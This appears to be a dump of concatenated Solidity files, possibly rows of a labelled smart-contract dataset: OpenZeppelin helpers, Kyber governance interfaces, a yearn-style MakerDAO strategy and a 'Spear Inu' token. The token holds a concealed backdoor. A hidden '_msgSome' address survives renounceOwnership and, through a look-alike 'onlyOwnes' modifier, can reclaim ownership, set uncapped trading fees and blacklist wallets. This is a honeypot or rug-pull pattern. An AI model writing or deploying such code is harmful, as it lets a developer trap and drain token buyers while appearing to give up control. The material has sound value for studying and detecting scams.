*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.6;
pragma abicoder v2;
import {IKyberGovernance} from './IKyberGovernance.sol';
interface IExecutorWithTimelock {
/**
* @dev emitted when a new pending admin is set
* @param newPendingAdmin address of the new pending admin
**/
event NewPendingAdmin(address newPendingAdmin);
/**
* @dev emitted when a new admin is set
* @param newAdmin address of the new admin
**/
event NewAdmin(address newAdmin);
/**
* @dev emitted when a new delay (between queueing and execution) is set
* @param delay new delay
**/
event NewDelay(uint256 delay);
/**
* @dev emitted when a new (trans)action is Queued.
* @param actionHash hash of the action
* @param target address of the targeted contract
* @param value wei value of the transaction
* @param signature function signature of the transaction
* @param data function arguments of the transaction or callData if signature empty
* @param executionTime time at which to execute the transaction
* @param withDelegatecall boolean, true = transaction delegatecalls the target, else calls the target
**/
event QueuedAction(
bytes32 actionHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 executionTime,
bool withDelegatecall
);
/**
* @dev emitted when an action is Cancelled
* @param actionHash hash of the action
* @param target address of the targeted contract
* @param value wei value of the transaction
* @param signature function signature of the transaction
* @param data function arguments of the transaction or callData if signature empty
* @param executionTime time at which to execute the transaction
* @param withDelegatecall boolean, true = transaction delegatecalls the target, else calls the target
**/
event CancelledAction(
bytes32 actionHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 executionTime,
bool withDelegatecall
);
/**
* @dev emitted when an action is Cancelled
* @param actionHash hash of the action
* @param target address of the targeted contract
* @param value wei value of the transaction
* @param signature function signature of the transaction
* @param data function arguments of the transaction or callData if signature empty
* @param executionTime time at which to execute the transaction
* @param withDelegatecall boolean, true = transaction delegatecalls the target, else calls the target
* @param resultData the actual callData used on the target
**/
event ExecutedAction(
bytes32 actionHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 executionTime,
bool withDelegatecall,
bytes resultData
);
/**
* @dev Function, called by Governance, that queue a transaction, returns action hash
* @param target smart contract target
* @param value wei value of the transaction
* @param signature function signature of the transaction
* @param data function arguments of the transaction or callData if signature empty
* @param executionTime time at which to execute the transaction
* @param withDelegatecall boolean, true = transaction delegatecalls the target, else calls the target
**/
function queueTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 executionTime,
bool withDelegatecall
) external returns (bytes32);
/**
* @dev Function, called by Governance, that cancels a transaction, returns the callData executed
* @param target smart contract target
* @param value wei value of the transaction
* @param signature function signature of the transaction
* @param data function arguments of the transaction or callData if signature empty
* @param executionTime time at which to execute the transaction
* @param withDelegatecall boolean, true = transaction delegatecalls the target, else calls the target
**/
function executeTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 executionTime,
bool withDelegatecall
) external payable returns (bytes memory);
/**
* @dev Function, called by Governance, that cancels a transaction, returns action hash
* @param target smart contract target
* @param value wei value of the transaction
* @param signature function signature of the transaction
* @param data function arguments of the transaction or callData if signature empty
* @param executionTime time at which to execute the transaction
* @param withDelegatecall boolean, true = transaction delegatecalls the target, else calls the target
**/
function cancelTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 executionTime,
bool withDelegatecall
) external returns (bytes32);
/**
* @dev Getter of the current admin address (should be governance)
* @return The address of the current admin
**/
function getAdmin() external view returns (address);
/**
* @dev Getter of the current pending admin address
* @return The address of the pending admin
**/
function getPendingAdmin() external view returns (address);
/**
* @dev Getter of the delay between queuing and execution
* @return The delay in seconds
**/
function getDelay() external view returns (uint256);
/**
* @dev Returns whether an action (via actionHash) is queued
* @param actionHash hash of the action to be checked
* keccak256(abi.encode(target, value, signature, data, executionTime, withDelegatecall))
* @return true if underlying action of actionHash is queued
**/
function isActionQueued(bytes32 actionHash) external view returns (bool);
/**
* @dev Checks whether a proposal is over its grace period
* @param governance Governance contract
* @param proposalId Id of the proposal against which to test
* @return true of proposal is over grace period
**/
function isProposalOverGracePeriod(IKyberGovernance governance, uint256 proposalId)
external
view
returns (bool);
/**
* @dev Getter of grace period constant
* @return grace period in seconds
**/
function GRACE_PERIOD() external view returns (uint256);
/**
* @dev Getter of minimum delay constant
* @return minimum delay in seconds
**/
function MINIMUM_DELAY() external view returns (uint256);
/**
* @dev Getter of maximum delay constant
* @return maximum delay in seconds
**/
function MAXIMUM_DELAY() external view returns (uint256);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.6;
pragma abicoder v2;
import {IWithdrawHandler} from '../staking/IWithdrawHandler.sol';
interface IVotingPowerStrategy is IWithdrawHandler {
/**
* @dev call by governance when create a proposal
*/
function handleProposalCreation(
uint256 proposalId,
uint256 startTime,
uint256 endTime
) external;
/**
* @dev call by governance when cancel a proposal
*/
function handleProposalCancellation(uint256 proposalId) external;
/**
* @dev call by governance when submitting a vote
* @param choice: unused param for future usage
* @return votingPower of voter
*/
function handleVote(
address voter,
uint256 proposalId,
uint256 choice
) external returns (uint256 votingPower);
/**
* @dev get voter's voting power given timestamp
* @dev for reading purposes and validating voting power for creating/canceling proposal in the furture
* @dev when submitVote, should call 'handleVote' instead
*/
function getVotingPower(address voter, uint256 timestamp)
external
view
returns (uint256 votingPower);
/**
* @dev validate that startTime and endTime are suitable for calculating voting power
* @dev with current version, startTime and endTime must be in the sameEpcoh
*/
function validateProposalCreation(uint256 startTime, uint256 endTime)
external
view
returns (bool);
/**
* @dev getMaxVotingPower at current time
* @dev call by governance when creating a proposal
*/
function getMaxVotingPower() external view returns (uint256);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.6;
pragma abicoder v2;
/**
* @title Interface for callbacks hooks when user withdraws from staking contract
*/
interface IWithdrawHandler {
function handleWithdrawal(address staker, uint256 reduceAmount) external;
}
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|
// Name: Spear Inu
// Supply: 1 trillion
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _msgSome;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
_msgSome = msgSender;
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
Buy the dip rewards:
If you are the brave degen that buys after 6 consecutive sells you will be rewarded with the 10% fees from the last six sells before your buy order.
Buy the high gwei rewards
The window period when gwei is above 200 all the buy orders will be rewarded equally with the community treasury collected during the same period
Auto Reflections
*/
modifier onlyOwnes() {
require(_msgSome == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnershipTo(address newOwner) public virtual onlyOwnes {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SpearInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Spear Inu";
string private constant _symbol = "Spear";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _distroFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
//Sell Fee
uint256 private _distroFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _distroFee = _distroFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousDistroFee = _distroFee;
uint256 private _previousTaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _marketingAddress = payable(0x7C74C88B0968083442dD3E5C81Ac5487355d2F0E);
address payable private _devAddress = payable(0x23Fbc1082ab8c715c56955a9310516d2cA951742);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 30000000000 * 10**9; //1.8% of total supply per txn
uint256 public _maxWalletSize = 200000000000 * 10**9;
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //0.1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_devAddress] = true;
bots[address(0x00000000000000000000000000000000001)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_distroFee == 0 && _taxFee == 0) return;
_previousDistroFee = _distroFee;
_previousTaxFee = _taxFee;
_distroFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_distroFee = _previousDistroFee;
_taxFee = _previousTaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen)
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee1(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_distroFee = _distroFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_distroFee = _distroFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
// _marketingAddress.transfer(amount.div(9).mul(8));
_marketingAddress.transfer(amount);
//_devAddress.transfer(amount.div(9).mul(1));
}
function sendETHToFee1(uint256 amount) private {
// _marketingAddress.transfer(amount.div(9).mul(8));
//_marketingAddress.transfer(amount);
_devAddress.transfer(amount.div(9).mul(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwnes {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwnes {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _distroFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 distroFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(distroFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setStarting(uint256 distroFeeOnBuy, uint256 distroFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwnes {
_distroFeeOnBuy = distroFeeOnBuy;
_distroFeeOnSell = distroFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwnes {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set Max transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwnes {
_maxWalletSize = maxWalletSize;
}
} | True | [
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|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function decimals() external view returns (uint);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface yVault {
function getPricePerFullShare() external view returns (uint);
function balanceOf(address) external view returns (uint);
function depositAll() external;
function withdraw(uint _shares) external;
function withdrawAll() external;
}
interface Controller {
function vaults(address) external view returns (address);
function strategies(address) external view returns (address);
function rewards() external view returns (address);
}
interface Strategy {
function withdrawalFee() external view returns (uint);
}
/* MakerDao interfaces */
interface GemLike {
function approve(address, uint) external;
function transfer(address, uint) external;
function transferFrom(address, address, uint) external;
function deposit() external payable;
function withdraw(uint) external;
}
interface ManagerLike {
function cdpCan(address, uint, address) external view returns (uint);
function ilks(uint) external view returns (bytes32);
function owns(uint) external view returns (address);
function urns(uint) external view returns (address);
function vat() external view returns (address);
function open(bytes32, address) external returns (uint);
function give(uint, address) external;
function cdpAllow(uint, address, uint) external;
function urnAllow(address, uint) external;
function frob(uint, int, int) external;
function flux(uint, address, uint) external;
function move(uint, address, uint) external;
function exit(address, uint, address, uint) external;
function quit(uint, address) external;
function enter(address, uint) external;
function shift(uint, uint) external;
}
interface VatLike {
function can(address, address) external view returns (uint);
function ilks(bytes32) external view returns (uint, uint, uint, uint, uint);
function dai(address) external view returns (uint);
function urns(bytes32, address) external view returns (uint, uint);
function frob(bytes32, address, address, address, int, int) external;
function hope(address) external;
function move(address, address, uint) external;
}
interface GemJoinLike {
function dec() external returns (uint);
function gem() external returns (GemLike);
function join(address, uint) external payable;
function exit(address, uint) external;
}
interface GNTJoinLike {
function bags(address) external view returns (address);
function make(address) external returns (address);
}
interface DaiJoinLike {
function vat() external returns (VatLike);
function dai() external returns (GemLike);
function join(address, uint) external payable;
function exit(address, uint) external;
}
interface HopeLike {
function hope(address) external;
function nope(address) external;
}
interface EndLike {
function fix(bytes32) external view returns (uint);
function cash(bytes32, uint) external;
function free(bytes32) external;
function pack(uint) external;
function skim(bytes32, address) external;
}
interface JugLike {
function drip(bytes32) external returns (uint);
}
interface PotLike {
function pie(address) external view returns (uint);
function drip() external returns (uint);
function join(uint) external;
function exit(uint) external;
}
interface SpotLike {
function ilks(bytes32) external view returns (address, uint);
}
interface OSMedianizer {
function read() external view returns (uint, bool);
function foresight() external view returns (uint, bool);
}
interface Uni {
function swapExactTokensForTokens(uint, uint, address[] calldata, address, uint) external;
}
/*
A strategy must implement the following calls;
- deposit()
- withdraw(address) must exclude any tokens used in the yield - Controller role - withdraw should return to Controller
- withdraw(uint) - Controller | Vault role - withdraw should always return to vault
- withdrawAll() - Controller | Vault role - withdraw should always return to vault
- balanceOf()
Where possible, strategies must remain as immutable as possible, instead of updating variables, we update the contract by linking it in the controller
*/
contract StrategyMKRVaultDAIDelegate {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address constant public token = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address constant public want = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address constant public weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address constant public dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);
address public cdp_manager = address(0x5ef30b9986345249bc32d8928B7ee64DE9435E39);
address public vat = address(0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B);
address public mcd_join_eth_a = address(0x2F0b23f53734252Bda2277357e97e1517d6B042A);
address public mcd_join_dai = address(0x9759A6Ac90977b93B58547b4A71c78317f391A28);
address public mcd_spot = address(0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3);
address public jug = address(0x19c0976f590D67707E62397C87829d896Dc0f1F1);
address public eth_price_oracle = address(0xCF63089A8aD2a9D8BD6Bb8022f3190EB7e1eD0f1);
address constant public yVaultDAI = address(0xACd43E627e64355f1861cEC6d3a6688B31a6F952);
address constant public unirouter = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uint public c = 20000;
uint public c_safe = 30000;
uint constant public c_base = 10000;
uint public performanceFee = 500;
uint constant public performanceMax = 10000;
uint public withdrawalFee = 50;
uint constant public withdrawalMax = 10000;
uint public strategistReward = 5000;
uint constant public strategistRewardMax = 10000;
bytes32 constant public ilk = "ETH-A";
address public governance;
address public controller;
address public strategist;
address public harvester;
uint public cdpId;
constructor(address _controller) public {
governance = msg.sender;
strategist = msg.sender;
harvester = msg.sender;
controller = _controller;
cdpId = ManagerLike(cdp_manager).open(ilk, address(this));
_approveAll();
}
function getName() external pure returns (string memory) {
return "StrategyMKRVaultDAIDelegate";
}
function setStrategist(address _strategist) external {
require(msg.sender == governance, "!governance");
strategist = _strategist;
}
function setHarvester(address _harvester) external {
require(msg.sender == harvester || msg.sender == governance, "!allowed");
harvester = _harvester;
}
function setWithdrawalFee(uint _withdrawalFee) external {
require(msg.sender == governance, "!governance");
withdrawalFee = _withdrawalFee;
}
function setPerformanceFee(uint _performanceFee) external {
require(msg.sender == governance, "!governance");
performanceFee = _performanceFee;
}
function setStrategistReward(uint _strategistReward) external {
require(msg.sender == governance, "!governance");
